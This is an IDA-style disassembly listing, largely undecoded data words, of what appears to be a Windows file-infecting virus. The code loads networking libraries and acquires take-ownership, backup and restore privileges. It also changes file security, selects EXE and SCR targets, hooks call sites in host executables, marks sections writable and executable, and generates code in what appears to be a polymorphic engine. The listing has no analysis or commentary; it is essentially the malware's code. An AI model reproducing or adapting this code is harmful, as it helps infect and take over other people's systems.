		dd 8D066A52h, 101E75B5h, 50565400h, 0FF525150h,	103F6A95h
		dd 95FF5800h, 103F62h, 418385C6h, 0E8000010h, 0Ch, 434F5357h
		dd 2E32334Bh, 4C4C44h, 3EC695FFh, 68930010h, 7,	18E9B58Dh
		dd 8D590010h, 103F32BDh, 0F53DE800h, 0CE8FFFFh,	57000000h
		dd 4E494E49h, 442E5445h, 0FF004C4Ch, 103EC695h,	0FC08500h
		dd 23584h, 5689300h, 8D000000h,	101927B5h, 0BD8D5900h
		dd 103F4Eh, 0FFF506E8h,	52BD83FFh, 103Fh, 210840Fh, 0EC810000h
		dd 190h, 1016854h, 95FF0000h, 103F32h, 190C481h, 8B500000h
		dd 52006AD4h, 3F5295FFh, 0C0850010h, 680D7559h,	1388h
		dd 3EE695FFh, 0E2EB0010h, 1E77BD83h, 75000010h,	7B858D29h
		dd 5000101Eh, 3F3E95FFh, 0C0850010h, 189840Fh, 408B0000h
		dd 0FF008B0Ch, 77858F30h, 0C600101Eh, 10418385h, 6A0100h
		dd 26A016Ah, 3F4A95FFh,	0F8830010h, 60840FFFh, 93000001h
		dd 1E73958Dh, 106A0010h, 95FF5352h, 103F3Ah, 850FC085h
		dd 140h, 1E94BD8Dh, 8B10010h, 0FFFA3CE8h, 9468FFh, 2B5E0000h
		dd 243489E6h, 0BE95FF54h, 8D00103Eh, 101EA2BDh,	0E801B100h
		dd 0FFFFFA1Dh, 1E8F958Dh, 6A0010h, 1468h, 0FF535200h, 103F4695h
		dd 24448D00h, 24958D14h, 50001043h, 8B0AB60Fh, 0C1142444h
		dd 4A0208E0h, 24A1201h,	0B034A12h, 80082444h, 0E0C10FE1h
		dd 440B5108h, 32FF1024h, 84BD8D50h, 0E800103Fh,	1Ch, 78362E25h
		dd 2E202E20h, 25253A20h, 78382E25h, 25207825h, 4F4A0A73h
		dd 204E49h, 7695FF57h, 8100103Eh, 0ACC4h, 50006A00h, 95FF5357h
		dd 103F46h, 15988D8Bh, 6A0010h,	0C96B1BE3h, 5E8510Dh, 26000000h
		dd 0A6425h, 7695FF57h, 8300103Eh, 0EB500CC4h, 7680Bh, 0BD8D0000h
		dd 101EA8h, 95FF5357h, 103F46h,	547EC085h, 3F84B58Dh, 0A5830010h
		dd 101598h, 838D8D00h, 2B001041h, 51006ACEh, 95FF5356h
		dd 103F42h, 7E00F883h, 0FE8B912Fh, 3F84B58Dh, 0DB00010h
		dd 1075AEF2h, 0FA2AE860h, 7261FFFFh, 8D09E317h,	0EAEB0177h
		dd 0CE2BCF8Bh, 3F84BD8Dh, 0A4F30010h, 0B9EBF787h, 3695FF53h
		dd 8000103Fh, 10157FBDh, 2A740100h, 753068h, 0E695FF00h
		dd 8000103Eh, 104183BDh, 11740000h, 1E7785C7h, 10h, 85C60000h
		dd 104183h, 0FE08E900h,	85C7FFFFh, 101588h, 80000000h
		dd 4C25Dh, 204F0A0Dh, 6E6F6F6Eh, 20666F20h, 6566696Ch
		dd 204F2021h, 656D6974h, 206F7420h, 656C6563h, 74617262h
		dd 0A0D2165h, 20202020h, 73204F20h, 656D6D75h, 61672072h
		dd 6E656472h, 520A0D21h, 6E656C65h, 73656C74h, 20796C73h
		dd 70706168h, 6E612079h, 78652064h, 74636570h, 2C746E61h
		dd 61747320h, 6E69646Eh, 2D203A67h, 61570A0Dh, 69686374h
		dd 6120676Eh, 64206C6Ch, 61207961h, 6E20646Eh, 74686769h
		dd 6F66202Ch, 72662072h, 646E6569h, 20492073h, 74696177h
		dd 570A0D3Ah, 65726568h, 65726120h, 756F7920h, 7266202Ch
		dd 646E6569h, 43203F73h, 21656D6Fh, 20744920h, 74207369h
		dd 21656D69h, 27744920h, 616C2073h, 4216574h, 2930C784h
		dd 0CE10A614h, 8418D5DBh, 0CEF8C4A6h, 48864F88h, 0AF403752h
		dd 0FE606E7Fh, 87BD4000h, 52BEF653h, 5CD8B8B3h,	66C26CCCh
		dd 9C774h, 13h dup(0)
		dd 60000000h, 42F4A583h, 83000010h, 1042F8A5h, 0B70F0000h
					; CODE XREF: __u_____:00414073p
					; __u_____:004140B0p ...
		dd 538D1443h, 4BB70F18h, 8BD00306h, 2B242444h, 19720C42h
		dd 7308423Bh, 14428B14h, 890C422Bh, 1042F495h, 0F8858900h
		dd 0EB001042h, 28C28305h, 0C261D9E2h, 85880004h, 102467h
		dd 64E8h, 206800h, 858D0000h, 102394h, 74183959h, 4C0830Ch
		dd 85FFF7E2h, 1042D0h, 3D9F7C3h, 1024678Dh, 0FF10E300h
		dd 8FFC70h, 0E204E883h,	949D89F6h, 83001023h, 574003Ah
		dd 7203322Bh, 0FC4E8D10h, 835E5B58h, 474003Ah, 3EB32FFh
		dd 0E81072FFh, 0FFFFFF57h, 8D2BCE2Bh, 1042F8h, 344B0358h
		dd 0D4858FC3h, 0C7001042h, 1042D085h, 0
		dd 3CE800h, 858B0000h, 1042D0h,	0FFF6A9E8h, 18E8FFh, 0BD830000h
		dd 1042D0h, 89087500h, 1024109Dh, 0FF9CEB00h, 1042D08Dh
		dd 858FC300h, 1042D4h, 42D09589h, 3E80010h, 33000000h
		dd 938BC3C9h, 80h, 0FEEDE852h, 9503FFFFh, 1042F8h, 7A83D603h
		dd 840F000Ch, 107h, 107A83h, 0FD840Fh, 428B0000h, 0C8E8500Ch
		dd 3FFFFFEh, 1042F885h,	50C60300h, 0F980088Ah, 80197400h
		dd 3742EF9h, 8BF1EB40h,	0E1810148h, 0DFDFDFDFh,	4C44F981h
		dd 0EC75004Ch, 83C82B59h, 8F0FFAF9h, 0B7h, 0FE788166h
		dd 850F3233h, 0ABh, 3A8356h, 4A8B0575h,	8B02EB10h, 51F1030Ah
		dd 0FFFE72E8h, 0F8B503FFh, 0AD001042h, 0FB78C085h, 84840Fh
		dd 0B5FF0000h, 1042F8h,	0FE55E850h, 8503FFFFh, 1042F8h
		dd 42F8858Fh, 4030010h,	0C0835324h, 0FDB3302h, 12E308B6h
		dd 5320C980h, 42424C1h,	29241C29h, 405B240Ch, 0FB81E9EBh
		dd 0DDBBD70Fh, 0FB813E74h, 0DB6E45A8h, 0FB813674h, 0FFA13B59h
		dd 0FB812E74h, 0ACB522D6h, 0FB812674h, 0F358E993h, 0FB811E74h
		dd 0F358E97Dh, 0FB811674h, 0E1253F46h, 0FB810E74h, 0E1253F30h
		dd 95FF0674h, 1042D4h, 0FF71E95Bh, 835EFFFFh, 0EFE914C2h
		dd 0C3FFFFFEh, 58046A03h, 0FFF549E8h, 419588FFh, 66001026h
		dd 21831B8h, 3E4C0E2h, 0AB66E202h, 0E858066Ah, 0FFFFF52Eh
		dd 8708C283h, 58056AD1h, 0FFF521E8h, 3FA80FFh, 50B00B73h
		dd 26418502h, 0EBAA0010h, 58686A27h, 3FA80AAh, 11B01875h
		dd 0FFF501E8h, 1B8FFh, 0D2840000h, 0E0D10D74h, 0F6EBCAFEh
		dd 0B805EBh, 0AB800000h, 8DC3BFE2h, 1039CC95h, 0F7D72B00h
		dd 85F7C3DAh, 1039C0h, 10000000h, 0C1C0950Fh, 85F60BE0h
		dd 1039BEh, 66067501h, 0EB25890Dh, 0BE85F613h, 2001039h
		dd 0D660675h, 4EB2531h,	25010D66h, 0BCE8AB66h, 8BFFFFFFh
		dd 95893443h, 1042E8h, 85F7C3ABh, 1039C0h, 10000000h, 4C0950Fh
		dd 9CE8AABCh, 89FFFFFFh, 1042EC95h, 0BE85F600h,	1001039h
		dd 310F0475h, 0C02B02EBh, 85F7C3ABh, 1039C0h, 10000000h
		dd 858A2774h, 1039BAh, 660BE0C1h, 66458B0Dh, 0AAF8B0ABh
		dd 39BA858Ah, 0E0C10010h, 6467051Bh, 33AB0689h,	0EBAB66C0h
		dd 8F64B812h, 8AAB0005h, 1039BA85h, 0C1580400h,	0C3AB18E0h
		dd 279C85C6h, 0EB090010h, 0EBFCB025h, 0EBB86620h, 0EBAB6600h
		dd 58046A19h, 0FFF409E8h, 0D2048DFFh, 6608E0C1h, 66C08905h
		dd 0B003EBABh, 1B6AAA90h, 0F3F0E858h, 8580FFFFh, 10279Ch
		dd 8FA8006h, 0D2842F73h, 2 dup(0CAFEC374h), 0CAFEC774h
		dd 0CAFED974h, 0CAFE0C74h, 0CAFE0F74h, 0F9B00F74h, 87B0CBEBh
		dd 0EBDBB0AAh, 0EBF5B0C4h, 0EBF8B0C0h, 85F7C3BCh, 1039C0h
		dd 2000h, 27586B0h, 4F8D0404h, 0B8A58AFEh, 66001039h, 5FC80ABh
		dd 0B00775h, 40FF4F80h,	0FF62E8AAh, 85F7FFFFh, 1039C0h
		dd 4000h, 3166B866h, 29B40275h,	18B0AB66h, 39BA850Ah, 0E0C00010h
		dd 3DE8AA03h, 0B0FFFFFFh, 0C085F788h, 1039h, 75000080h
		dd 8A86B002h, 1039B8A5h, 80AB6600h, 77505FCh, 4F8000B0h
		dd 0C3AA40FFh, 39CCBD8Dh, 0DE80010h, 0F7FFFFFFh, 1039C085h
		dd 40000000h, 0B0037400h, 85F7AA60h, 1039C0h, 10000000h
		db 74h,	7, 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		dd 0F020000h, 0F084h, 0AAE8B000h, 0D8BD89ABh, 0E8001042h
		dd 0FFFFFECCh, 0ABAAE8B0h, 42DCBD89h, 0BDE80010h, 0F7FFFFFEh
		dd 1039C085h, 300h, 0F71A7400h,	1039C085h, 0
		dd 0E80A7402h, 0FFFFFE2Eh, 0FFFE9BE8h, 0AAE9B0FFh, 0D8858BABh
		dd 8B001042h, 89C82BCFh, 1042E0BDh, 0FC488900h,	0FF6467B8h
		dd 0C033AB36h, 85F7AB66h, 1039C0h, 3, 85F61374h, 1039BEh
		dd 0E80A7480h, 0FFFFFDAAh, 0FFFE5BE8h, 6467B8FFh, 33AB2689h
		dd 0F7AB66C0h, 1039C085h, 300h,	0F65A7400h, 1039BE85h
		dd 0A758000h, 0FFFD81E8h, 0FE32E8FFh, 2E8FFFFh,	0B0FFFFFDh
		dd 0FB14E820h, 39E3FFFFh, 15FFB866h, 0AB91AB66h, 39C0958Bh
		dd 0D2F70010h, 3C2F7h, 14750000h, 0FFFCDCE8h, 0E81FB0FFh
		dd 0FFFFFAEEh, 15FFB866h, 0AB91AB66h, 858BCF8Bh, 1042E0h
		dd 4889C82Bh, 0C085F7FCh, 3001039h, 74000000h, 0C085F738h
		dd 1039h, 740C0000h, 0C085F72Ch, 1039h,	75020000h, 0FDC2E80Ah
		dd 4BE8FFFFh, 0F7FFFFFDh, 1039C085h, 0
		dd 0E80A7408h, 0FFFFFDACh, 0FFFD61E8h, 0C085F7FFh, 4001039h
		dd 74000000h, 0FD96E817h, 29B8FFFFh, 0ABC8FEC0h, 74C008B8h
		dd 75B8AB04h, 0AB67EBF8h, 0FFFD7FE8h, 0C085F7FFh, 8001039h
		dd 75000000h, 0BEBD8072h, 1039h, 65E86974h, 0B8FFFFFDh
		dd 0C9291829h, 39BAA50Ah, 0E4C00010h, 0BAA50A03h, 0AB001039h
		dd 0FFFD4BE8h, 0AAB1B0FFh, 39BE858Ah, 0E8AA0010h, 0FFFFFD3Ch
		dd 0BA85B60Fh, 8D001039h, 4004C004h, 0B008E0C1h, 0B0AB668Dh
		dd 0E857AA01h, 0FFFFFD20h, 66243C29h, 59FBE2B8h, 39C085F7h
		dd 100010h, 7740000h, 66AA49B0h, 2FA75B8h, 0E8AB66E1h
		dd 0FFFFFCFCh, 33AAE8B0h, 0BD89ABC0h, 1042C4h, 39C085F7h
		dd 200010h, 3B750000h, 0FCDEE857h, 85F7FFFFh, 1039C0h
		dd 80000000h, 0BD891874h, 1042F0h, 0FFFD39E8h, 0FCC2E8FFh
		dd 0C3B0FFFFh, 0FCBAE8AAh, 8B5AFFFFh, 2B58B0CFh, 0B8850ACAh
		dd 89001039h, 0E8AAFC4Ah, 0FFFFFCA4h, 0C081B866h, 39C085F7h
		dd 400010h, 3740000h, 0A28C480h, 1039B8A5h, 89AB6600h
		dd 1042C8BDh, 85F7AB00h, 1039C0h, 40000000h, 50B00975h
		dd 39B88502h, 0F7AA0010h, 1039C085h, 8000h, 0B00B7500h
		dd 0B9850AB8h, 0AA001039h, 0B8663DEBh, 85F71831h, 1039C0h
		dd 100h, 29B00274h, 39B9A50Ah, 0E4C00010h, 0B9A50A03h
		dd 66001039h, 81B866ABh, 0C085F7F0h, 1039h, 75000002h
		dd 0AC8B402h, 1039B9A5h, 89AB6600h, 1042E4BDh, 29CCB800h
		dd 0F7AB0000h, 1039C085h, 800h,	0E8717400h, 0FFFFFBFCh
		dd 39C085F7h, 4000010h,	0B750000h, 850AB8B0h, 1039BAh
		dd 0F74DEBAAh, 1039C085h, 80000h, 66117500h, 0AE083B8h
		dd 1039BAA5h, 33AB6600h, 15EBAAC0h, 1829B866h, 39BAA50Ah
		dd 0E4C00010h, 0BAA50A03h, 66001039h, 0C085F7ABh, 1039h
		dd 66000010h, 74C081B8h, 8C48003h, 39BAA50Ah, 0AB660010h
		dd 0BE85B60Fh, 0AB001039h, 0FFFB8BE8h, 0C085F7FFh, 1039h
		dd 74400000h, 250B00Eh,	1039B885h, 71E8AA00h, 8DFFFFFBh
		dd 8D89FE4Fh, 1042CCh, 39C085F7h, 10h, 17748000h, 8BAAE8B0h
		dd 1042F085h, 83C72B00h, 89AB04E8h, 1042F0BDh, 0E805EB00h
		dd 0FFFFFBB2h, 0FFFB3BE8h, 0C085F7FFh, 1039h, 75000100h
		dd 0A40B00Bh, 1039B885h, 0FEBAA00h, 0C083B866h,	39B8A50Ah
		dd 0AB660010h, 0F7AA01B0h, 1039C085h, 2000000h,	0F72F7500h
		dd 1039C085h, 4000000h,	0B01A7500h, 0BA850AC0h,	8A001039h
		dd 1039BFA5h, 10E0C100h, 8166B866h, 0EB00B0ABh,	0A40B008h
		dd 1039BA85h, 85F7AA00h, 1039C0h, 80000h, 0B8661075h, 0A50AE883h
		dd 1039B9h, 1B0AB66h, 48B008EBh, 39B9850Ah, 0E8AA0010h
		dd 0FFFFFAB0h, 39C085F7h, 10h, 75B10010h, 0B8662575h, 0A50AF883h
		dd 1039B9h, 0C033AB66h,	0CCBD29AAh, 0F7001042h,	1039C085h
		dd 20000000h, 0B11F7500h, 661BEB77h, 0A1809B8h,	1039B9A5h
		dd 3E4C000h, 39B9A50Ah,	0AB660010h, 42CCBD29h, 0C18A0010h
		dd 42CCA58Ah, 0AB660010h, 850258B0h, 1039B8h, 0FA4AE8AAh
		dd 85F7FFFFh, 1039C0h, 2000003h, 85F72C74h, 1039C0h, 8000000h
		dd 85F72075h, 1039C0h, 6000000h, 0AFE80A75h, 0E8FFFFF9h
		dd 0FFFFFA1Ch, 0FFF9D1E8h, 0FA12E8FFh, 85F7FFFFh, 1039C0h
		dd 10000000h, 0C9B00874h, 0F9FEE8AAh, 85F7FFFFh, 1039C0h
		dd 400000h, 7B02A74h, 39B8852Ah, 0E0C10010h, 8890D1Ah
		dd 0A5020024h, 1039B8h,	8003E4C0h, 0E8AB04C4h, 0FFFFF9D0h
		dd 0E8AA61B0h, 0FFFFF9C8h, 0E0FFB866h, 39B8A50Ah, 0AB660010h
		dd 0FFF9B7E8h, 0C085F7FFh, 20001039h, 74000000h, 0C085F76Fh
		dd 1039h, 74800000h, 8BC78B1Fh,	1042F08Dh, 89C12B00h, 0FFE8FC41h
		dd 0E8FFFFF9h, 0FFFFF988h, 0E8AAC3B0h, 0FFFFF980h, 8D8BC78Bh
		dd 1042C4h, 4189C12Bh, 0A58B0FCh, 1039B885h, 65E8AA00h
		dd 0F7FFFFF9h, 1039C085h, 80000000h, 660C7400h,	0AC350B8h
		dd 1039B885h, 660AEB00h, 0AE0FFB8h, 1039B8A5h, 0E8AB6600h
		dd 0FFFFF93Ch, 39C085F7h, 30010h, 5F740200h, 858BCF8Bh
		dd 1042DCh, 4889C82Bh, 0F7C933FCh, 1039C085h, 0
		dd 8D0E7501h, 1039B885h
		db 0
; ---------------------------------------------------------------------------


loc_413F31:				; CODE XREF: __u_____:00413F37j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_413F31
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_413F4E
		mov	ax, 0C031h
		stosw


loc_413F4E:				; CODE XREF: __u_____:00413F46j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_413F67
		mov	ax, 0C031h
		stosw


loc_413F67:				; CODE XREF: __u_____:00413F5Fj
		mov	al, 0C3h
		stosb
; ---------------------------------------------------------------------------
		dw 0D1E8h
		db 0F8h	; ø
		db 2 dup(0FFh),	8Dh
		db  85h	; …
		align 2
		dw 1039h
		db    0
; ---------------------------------------------------------------------------
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_413F87
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_413FA0
; ---------------------------------------------------------------------------


loc_413F87:				; CODE XREF: __u_____:00413F7Fj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_413FA0:				; CODE XREF: __u_____:00413F85j
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_413FC0
		neg	eax


loc_413FC0:				; CODE XREF: __u_____:00413FBCj
		stosd
		retn	4
; ---------------------------------------------------------------------------
		db  56h	; V
		db 57h,	83h, 0BDh
		db    0
		db 43h,	10h, 0
		db    0
		db 0Fh,	84h, 0D9h
		db    1
		db 2 dup(0), 0E8h
		db  0Dh
		align 4
		db  4Bh	; K
		db 45h,	52h, 4Eh
		db  45h	; E
		db 4Ch,	33h, 32h
		db  2Eh	; .
		db 44h,	2 dup(4Ch)
		db    0
		db 0FFh, 95h, 0AEh
		db  3Eh	; >
		db 10h,	0, 89h
		db  85h	; …
		db 14h,	43h, 10h
		db    0
		db 53h,	8Bh, 58h
		db  3Ch	; <
		db 3, 0D8h, 0FFh
		db  73h	; s
		db 28h,	8Bh, 43h
		db  34h	; 4
		db 0E8h, 0E5h, 0F4h
		db 0FFh
		db 0FFh, 8Bh, 95h
		db 0F4h	; ô
		db 42h,	10h, 0
		db  5Bh	; [
		db 3, 42h, 0Ch
		db  89h	; ‰
		db 85h,	18h, 43h
		db  10h
		align 2
		dw 4203h
		db    8
		db 89h,	85h, 1Ch
		db  43h	; C
		db 10h,	0, 8Bh
		db  73h	; s
		db 28h,	0FFh, 0B3h
		db  80h	; €
		align 4
		db 0E8h	; è
		db 0BEh, 0F4h, 0FFh
		db 0FFh
		db 8Bh,	0BDh, 0F4h
		db  42h	; B
		db 10h,	0, 56h
		db 0E8h	; è
		db 0B2h, 0F4h, 0FFh
		db 0FFh
		db 8Bh,	95h, 0F4h
		db  42h	; B
		db 10h,	0, 8Bh
		db  4Ah	; J
		db 8, 3, 4Ah
		db  0Ch
		db 2Bh,	0CEh, 83h
		db 0E9h	; é
		db 5, 0Fh, 88h
		db  60h	; `
		db 1, 2	dup(0)
		db  0Fh
		db 84h,	5Ah, 1
		db    0
		align 2
		dw 0B503h
		db 0F8h	; ø
		db 42h,	10h, 0
		db    3
		db 0B5h, 0B4h, 42h
		db  10h
		align 2
; START	OF FUNCTION CHUNK FOR sub_41417D


loc_41405E:				; CODE XREF: sub_41417D+29j
		lodsb
		cmp	al, 0E8h
; END OF FUNCTION CHUNK	FOR sub_41417D
		jnz	loc_414109
		lea	eax, [esi+4]
		sub	eax, [ebp+1042B4h]
		add	eax, [esi]
		push	eax
		call	near ptr dword_4134E4+3
		cmp	dword ptr [ebp+1042F4h], 0
		jnz	short loc_41408C
		cmp	eax, [edi+0Ch]
		jnb	loc_4141A5
		jmp	short loc_414098
; ---------------------------------------------------------------------------


loc_41408C:				; CODE XREF: __u_____:0041407Fj
		cmp	[ebp+1042F4h], edx
		jnz	loc_4141A5


loc_414098:				; CODE XREF: __u_____:0041408Aj
		add	eax, [ebp+1042B4h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_4141A5
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	near ptr dword_4134E4+3
		cmp	[ebp+1042F4h], edi
		jnz	loc_4141A5
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_4141A5
		cmp	eax, [edi+8]
		jnb	loc_4141A5
; START	OF FUNCTION CHUNK FOR sub_41417D


loc_4140E1:				; CODE XREF: sub_41417D+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+1042B4h]
		push	edx
		push	eax
		push	dword ptr [ebp+104314h]
		call	dword ptr [ebp+103E6Eh]
		pop	edx
		test	eax, eax
		jnz	loc_4141BB
		jmp	loc_4141A5
; END OF FUNCTION CHUNK	FOR sub_41417D
; ---------------------------------------------------------------------------


loc_414109:				; CODE XREF: __u_____:00414061j
		cmp	al, 0FFh
		jnz	loc_4141A5
		cmp	byte ptr [esi],	15h
		jnz	loc_4141A5
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	near ptr dword_4134E4+3
		cmp	[ebp+1042F4h], edi
		jnz	short loc_4141A5
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	[ebp+104320h], eax
		mov	eax, [eax]
		cmp	eax, [ebp+104318h]
		jb	short loc_414152
		cmp	eax, [ebp+10431Ch]
		jb	short loc_4141BB


loc_414152:				; CODE XREF: __u_____:00414148j
		cmp	eax, 70000000h
		jb	short loc_414190
		call	sub_41417D
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+104320h]
		jnz	short locret_41417C
		add	esp, 10h
		push	dword ptr [ecx]
		pop	dword ptr [esp+1Ch]
		popa
		jmp	short loc_414197
; ---------------------------------------------------------------------------

locret_41417C:				; CODE XREF: __u_____:0041416Ej
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41417D	proc near		; CODE XREF: __u_____:00414159p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041405E SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004140E1 SIZE 00000028 BYTES

		pop	dword ptr [ebp+1042D4h]
		pusha
		mov	esi, [ebp+1042B4h]
		call	near ptr dword_4135AC+42h
		popa


loc_414190:				; CODE XREF: __u_____:00414157j
		test	eax, 80000000h
		jnz	short loc_4141A5


loc_414197:				; CODE XREF: __u_____:0041417Aj
		sub	eax, [edi+0Ch]
		jb	short loc_4141A5
		cmp	eax, [edi+8]
		jb	loc_4140E1


loc_4141A5:				; CODE XREF: __u_____:00414084j
					; __u_____:00414092j ...
		dec	ecx
		jnz	loc_41405E
		mov	edi, [esp+4+var_4]
		and	dword ptr [edi+29C0h], 0FFBFFFFFh
		jmp	short loc_4141FD
; ---------------------------------------------------------------------------


loc_4141BB:				; CODE XREF: sub_41417D-7Fj
					; __u_____:00414150j
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+104300h]
		mov	[ebp+1042FCh], eax
		lea	edi, [ecx+29C4h]
		add	eax, [ebp+1042B4h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+54h], 5
		mov	[esi-4], eax


loc_4141FD:				; CODE XREF: sub_41417D+3Cj
		pop	edi
		pop	esi
		retn
sub_41417D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db  57h	; W
		db 0FFh, 95h, 0BAh
		db  3Eh	; >
		db 10h,	0, 0C1h
		db 0E8h	; è
		db 1Fh,	0Fh, 85h
		db  1Ah
		db 1, 2	dup(0)
		db  50h	; P
		db 54h,	6Ah, 28h
		db  6Ah	; j
		db 2 dup(0FFh),	95h
		db  1Ah
		db 3Fh,	10h, 0
		db  85h	; …
		db 0C0h, 5Fh, 0Fh
		db  88h	; ˆ
		db 5, 1, 0
		db    0
		db 0E8h, 58h, 0E4h
		db 0FFh
		db 0FFh, 0E8h, 11h
		db    0
		db 2 dup(0), 53h
aEtfilesecurity	db 'etFileSecurityA',0
		db 0FFh
		db 0B5h, 88h, 42h
		db  10h
		align 2
		dw 95FFh
		db  6Eh	; n
		db 3Eh,	10h, 0
		db  89h	; ‰
		db 85h,	90h, 42h
		db  10h
		align 2
		dw 19E8h
		db    0
		db 2 dup(0), 53h
aEtakeownership	db 'eTakeOwnershipPrivilege',0
		db  57h	; W
		db 0E8h, 29h, 0E8h
		db 0FFh
		db 0FFh, 0E8h, 13h
		db    0
		db 2 dup(0), 53h
aErestoreprivil	db 'eRestorePrivilege',0
		dw 0E857h
		db  0Bh
		db 0E8h, 2 dup(0FFh)
		db 0E8h	; è
		db 12h,	2 dup(0)
		db    0
aSebackupprivil	db 'SeBackupPrivilege',0
		db 57h
		dd 0FFE7EEE8h, 18E8FFh,	65530000h, 6E616843h, 6F4E6567h
		dd 79666974h, 76697250h, 67656C69h, 0E8570065h,	0FFFFE7CBh
		dd 858D5450h, 103DCCh, 6A50646Ah, 95FF5701h, 103F26h, 0FF243C89h
		dd 103E6295h, 8DC02A00h, 104184BDh, 50505000h, 3DCCB5FFh
		dd 1680010h, 54000400h,	0FF57016Ah, 10429095h, 46A5400h
		dd 9095FF57h, 83001042h, 0B5FF14C4h, 104288h, 3E9E95FFh
		dd 0C35F0010h, 4184B58Dh, 0FF560010h, 103EA295h, 0FFF88300h
		dd 0BB840Fh, 85890000h,	104294h, 0FF56006Ah, 103EDE95h
		dd 0FC08500h, 0A484h, 50C02B00h, 50036A50h, 68016Ah, 56C00000h
		dd 3E7E95FFh, 0F8830010h, 7840FFFh, 89000006h, 10429885h
		dd 9C8D8D00h, 8D001042h, 1042A495h, 6A525100h, 95FF5000h
		dd 103EAAh, 0FFFF883h, 5D584h, 0FF006A00h, 104298B5h, 0A695FF00h
		dd 8300103Eh, 840FFFF8h, 5BEh, 42AC8589h, 0C9330010h, 5051C303h
		dd 51046A51h, 4298B5FFh, 95FF0010h, 103E82h, 840FC085h
		dd 59Ah, 8589C933h, 1042B0h, 68515151h,	0F001Fh, 0CA95FF50h
		dd 8500103Eh, 53840FC0h, 89000005h, 1042B485h, 27B8C300h
		dd 8B000073h, 85F7384Bh, 1039C0h, 20000000h, 85030675h
		dd 101069h, 0C103D233h,	0E1F7F1F7h, 42C08589h, 0CBB80010h
		dd 8B000029h, 85033C4Bh, 101069h, 0C103D233h, 0E1F7F1F7h
		dd 42B88589h, 0FC30010h, 0F9064BB7h, 538D35E3h,	43B70F18h
		dd 49D00314h, 328C16Bh,	5F3A81D0h, 0F96E6977h, 7A831D74h
		dd 0E072010Ch, 8B3C4B8Bh, 42031442h, 48448D10h,	23D9F7FFh
		dd 0AC853BC1h, 0C3001042h, 1024548Bh, 828FC033h, 0B8h
		dd 0EBCF8BC3h, 84BD8D0Bh, 0FC001041h, 0C933DF8Bh, 72613CACh
		dd 777A3C06h, 0AA202C02h, 0EC745C3Ch, 0DD742E3Ch, 0E875003Ch
		dd 18BC9E3h, 4558453Dh,	3D0B7400h, 524353h, 0FF33850Fh
		dd 38BFFFFh, 4E49573Dh,	26840F43h, 3DFFFFFFh, 4E554357h
		dd 0FF1B840Fh, 573DFFFFh, 0F323343h, 0FFFF1084h, 53503DFFh
		dd 840F4F54h, 0FFFFFF05h, 2DE8DB33h, 75FFFFFEh,	0FCFAE810h
		dd 21E8FFFFh, 0FFFFFFEh, 0FFFEEC84h, 0E8D233FFh, 16h, 0FFFF63E8h
		dd 0E8FFh, 815D0000h, 10344FEDh, 3FAE900h, 0FF640000h
		dd 0B4B58B32h, 64001042h, 81662289h, 0F5A4D3Eh,	3E385h
		dd 3C5E8B00h, 8166DE03h, 0F45503Bh, 3D385h, 1643F700h
		dd 2000h, 3C6850Fh, 43F60000h, 840F025Ch, 3BCh,	3D08438Bh
		dd 0A0A0A0A0h, 3AE840Fh, 203D0000h, 0F202020h, 3A384h
		dd 0C88B8B00h, 0E3000000h, 54E85116h, 3FFFFEFh,	1042F88Dh
		dd 83CE0300h, 83004061h, 0E8004461h, 0FFFFFE9Bh, 37A820Fh
		dd 0A5830000h, 1042FCh,	8428B00h, 2B104A8Bh, 330473C1h
		dd 305EBC0h, 104A89C8h,	42BC8589h, 4A030010h, 0B80Ch, 0E8510001h
		dd 0FFFFE68Ah, 39BE9530h, 20B10010h, 39BFB530h,	206A0010h
		dd 7858C9FEh, 0E670E814h, 0D285FFFFh, 0D3C2940Fh, 0C09531E2h
		dd 0EB001039h, 0C085F7E5h, 1039h, 74020000h, 0C085F722h
		dd 3001039h, 75000000h,	0C0A5810Ch, 0FF001039h,	0EBF7FFFFh
		dd 0C08D810Ah, 1039h, 68100000h, 6, 66859h, 0E8580000h
		dd 0FFFFE622h, 39B8858Ah, 84860010h, 1039B82Ah,	0B8858800h
		dd 0E2001039h, 0C085F7E0h, 8001039h, 75000000h,	0BABD8009h
		dd 1001039h, 85F7C574h,	1039C0h, 10000000h, 0BD801B74h
		dd 1039B8h, 80B07405h, 1039B9BDh, 0A7740500h, 39BABD80h
		dd 74050010h, 0C085F79Eh, 1039h, 74004000h, 0B8BD8009h
		dd 2001039h, 0A5838977h, 104300h, 0F272E800h, 43E8FFFFh
